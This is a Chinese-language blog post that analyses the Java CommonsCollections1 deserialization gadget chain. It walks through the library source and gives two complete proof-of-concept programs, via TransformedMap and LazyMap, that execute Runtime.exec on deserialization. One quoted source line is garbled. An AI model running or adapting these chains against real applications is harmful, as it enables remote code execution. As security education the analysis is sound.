Java反序列化之 CommonsCollections (一) 调用链分析

发布于 2023-11-23  207 次阅读


环境介绍:

导入依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

触发点分析(InvokerTransformer.transform()

InvokerTransformer类

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            // 这里的iMethodName、iParamTypes、iArgs 均可以从上面的构造方法中控制
            // iMethodName 方法名
            // iParamTypes 方法类型
            // iArgs 方法传递的参数
            // r.getClass().getMethod("exec", String.class).invoke(exec, "calc");
            Class cls = input.getClass(); // 反射获取class 
            Method method = cls.getMethod(iMethodName, iParamTypes); // 反射获取方法
            return method.invoke(input, iArgs); // 调用方法

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

分析发现,InvokerTransformer.transform() 会调用invoke()方法,并且被调用方法的方法名,传递的参数均可以在InvokerTransformer的构造方法中传入。

调用链分析

继续寻找谁调用了 InvokerTransformer.transform(),我们找到了TransformedMap中的checkValue方法调用了transform方法。

TransformedMap

...
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    // 在这个静态方法里,创建了TransformedMap对象
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
    }
...
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        // 在构造函数中对valueTransformer进行了赋值
        this. = valueTransformer进行了赋值;
    }   

...
    static class MapEntry extends AbstractMapEntryDecorator {
        ...

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }
protected Object checkSetValue(Object value) {
    // 首先跟到这里,调用了transform方法,我们继续跟valueTransformer
        return valueTransformer.transform(value);
    }
}

AbstractInputCheckedMapDecorator$MapEntry

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }
    // 这里传入了value值
    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

那么继续寻找,哪里调用了这个setValue方法

其实,这个MapEntry.setValue(),是在遍历数组时,对entry对象进行setValue赋值时候会调用到这里。那么我们可以写一个测试调用,通过遍历TransformedMap对象时,对entry对象进行setValue赋值,那么就会传入value,并且调用TransformedMap.checkSetValue(value) --> valueTransformer.transform(value) --> InvokerTransformer.transform(value);

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class RuntimeTest {

    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {

        Runtime r = Runtime.getRuntime();
//        r.exec("calc");
//
//        Class clazz = r.getClass();
//        Method exec = clazz.getMethod("exec", String.class);
//        exec.invoke(r, "calc");

//        // 尝试直接调用InvokerTransformer.transform()
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"});
//        invokerTransformer.transform(r);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        map.put("key", "value");
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(r);
        }
    }
}

也就是说,如果存在对map的遍历,并且调用了entry.setValue(value)方法,并且value可控,那么我们就可以将我们的InvokerTransformer传入,从而执行任意代码。

于是,我们继续寻找,谁调用了setValue方法,我们找到了AnnotationInvocationHandler.java

AnnotationInvocationHandler

// default修饰,表示只用同一个包下的类才可以访问。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    // 构造函数,并且memberValues可控
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
    ...
    ...
    // 这里的readObject方法中,对map进行了遍历,并且调用了setValue方法
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
            s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // 这里对map进行了遍历,满足条件
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    // 在这里调用了setValue方法
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

那么我们想要实例化AnnotationInvocationHandler对象,必须使用反射。

并且还需要解决两个问题:

  • Runtime类不能序列化
  • setValue方法传入的value值是AnnotationTypeMismatchExceptionProxy对象,并不是我们的Runtime对象

解决Runtime类不能序列化

Class对象是可以序列化的,我们可以反序列化Runtime.class对象,并通过反射获得Runtime对象,具体实现如下:

package first;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class UnSeriRuntime {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        Method method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(method);

        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(r, "calc");
    }

}

简化写法:

Transformer[] t = new Transformer[] {
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
        };
        new ChainedTransformer(t).transform(Runtime.class);

setValue传入的value值是AnnotationTypeMismatchExceptionProxy对象:

setValue方法传入的value值是AnnotationTypeMismatchExceptionProxy对象,并不是我们的Runtime对象

我们使用ConstantTransformer解决这个问题

ConstantTransformer

public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;

    /** Returns null each time */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }

    // 在ContantTransformer的构造函数中,可以对iConstant进行赋值
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    // 并且在在ContantTransformer.transform方法,返回的是iConstant
    // 也就是说,我们对这个类的transform方法传入的值可控
    public Object transform(Object input) {
        return iConstant;
    }

    public Object getConstant() {
        return iConstant;
    }
}

那么我们可以在传入的chainedTransformer中,创建一个ConstantTransformer对象,这样就可以达到:

无论在setValue中传入的是什么值,都只会调用ConstantTransformer.iConstant它的transform方法。

最终的POC如下:

POC(TransformedMap.checkSetValue()

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import serializer.Serialize;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023
 * @description: 个人总结的
 * @version: 1.0
 */

/**
 * AnnotationInvocationHandler.readObject()
 * Map(Proxy).entrySet().setValue()
 *      TransformedMap.checkValue()
 *      TransformedMap.transform()
 *      valueTransformer.transform()
 *          ChainedTransformer.transform()
 *              ConstantTransformer.transform()
 *              InvokerTransformer.transform()
 *                  Method.invoke()
 *                      Class.getMethod()
 *              InvokerTransformer.transform()
 *                  Method.invoke()
 *                      Runtime.getRuntime()
 *              InvokerTransformer.transform()
 *                  Method.invoke()
 *                      Runtime.exec()
 */

public class CommonsCollections1 {

    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//
//        Class clazz = Runtime.class;
//        Method getRuntime = clazz.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntime.invoke(null, null);
//        Method exec = clazz.getMethod("exec", String.class);
//        exec.invoke(r, "calc");
//        r.exec("calc");

//
        Transformer[] t = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                // 相当于getRuntime方法
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(t);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");

        // 使用 TransformedMap 的原因是因为TransformedMap.checkSetValue()会执行transform()方法
        Map decorate = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        /* 这里使用的是Target是因为Target中存在名为value的成员方法,可以在AnnotationInvocationHandler.readObject中
        满足memberType != null, 从而执行到setValue() */
        Object o = declaredConstructor.newInstance(Target.class, decorate);

        Serialize.serialize(o);
        Serialize.unSerialize();
    }
}

个人总结调用链:

AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet().setValue()
        TransformedMap.checkSetValue()
        TransformedMap.transform()
        valueTransformer.transform()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Class.getMethod()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.getRuntime()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

如何更好的理解InvokerTransformer.transform()方法?

个人理解,他的作用就相当于,执行那个方法(methodName),并且给方法传值(paramTypes, args)

然后再去理解这个chainedTransformer

Class clazz = Runtime.class;
Method getRuntime = clazz.getMethod("getRuntime", null); // 先调用clazz.getMethod
Runtime r = (Runtime) getRuntime.invoke(null, null); //然后调用getRuntime.invoke
r.exec("calc"); // 最后调用r.exec
    Transformer[] t = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            // 相当于getRuntime方法
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}),
            new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),

    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(t);

我相信,此时就可以更好的去理解二者是如何变化的。

CC1(第二种)

第二种与第一种的不同之处在于,后者使用的是LazyMap.get()方法去触发InvokerTransformer.transform()方法

LazyMap.get()

分析一下LazyMap.get()

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;

    /** The factory to use to construct elements */
    protected final Transformer factory;

    ...
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    ... 
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    ...

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) { // 如果map中,不存在这个key,才会进入到if
            Object value = factory.transform(key); //执行transform方法
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    ...
}

可以看到,LazyMap.get()方法中,会调用到到InvokerTransfomer.transform()方法,

因为这条链,使用的仍然是AnnotationInvocationHandler对象的反序列化,所以,其实我们只需要了解到LazyMap.get()方法可以执行到InvokerTransfomer.transform()方法。

那么,哪里调用了这个get方法呢?

AnnotationInvocationHandler.invoke()

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    // 这里需要让表达式为否,也就是不能调用equals方法
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    // 这里也需要表达式为否,也就是不能调用有参方法
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    // 不能进入switch语句
    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member); // 这里我们可以控制,memberValues是构造方法中传入的,想要代码执行到这里

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

可以看到,在AnnotationInvocationHandler.invoke()方法中,会调用到LazyMap.get(),从而触发InvokerTransformer.transform()方法。

那么什么时候会调用invoke方法呢?

AnnotationInvocationHandler类是动态代理的处理器类,当动态代理调用任意方法时会调用处理器类的invoke方法。并且,在这条链中,代理类被调用的方法必须满足:非equals、toString、hashCode、annotationType方法、必须是无参方法,才可以执行到get()

那么我们重新再看一下readObject方法:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
    // 触发点在这里,因为memberValues参数可控,如果我们传入的是代理类,当调用entrySet()方法时,就会调用到Invoke()方法,从而调用到LayMap.get(),触发transform。
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

可以看到,readObject中,会调用到memberValues.entrySet(),满足调用invoke条件,并且memberValues也是我们可以控制的参数,在构造AnnotationInvocationHandler对象时,通过构造方法传递memberValues,我们可以使得memberValues为动态代理类,即可在调用到entrySet(),调用Invoke(),然后到get(),从而触发transform达到命令执行。

所以我们只需要修改一下就可以写出POC。

POC(LazyMap.get()

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import serializer.Serialize;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class CommonsCollections1_2 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

        HashMap<Object, Object> map = new HashMap<>();
//        map.put("test", "value");

        Transformer[] t = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        // 需要创建两个 AnnotationInvocationHandler对象,第一个 memberValue=lazyMap, 第二个memberValue=mapProxy
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMap);

        // ClassLoader loader, Class<?>[] interfaces, InvocationHandler h
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o = declaredConstructor.newInstance(Override.class, mapProxy);

        Serialize.serialize(o);
        Serialize.unSerialize();
    }
}

调用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
  • alipay_img
  • wechat_img
届ける言葉を今は育ててる
最后更新于 2023-11-30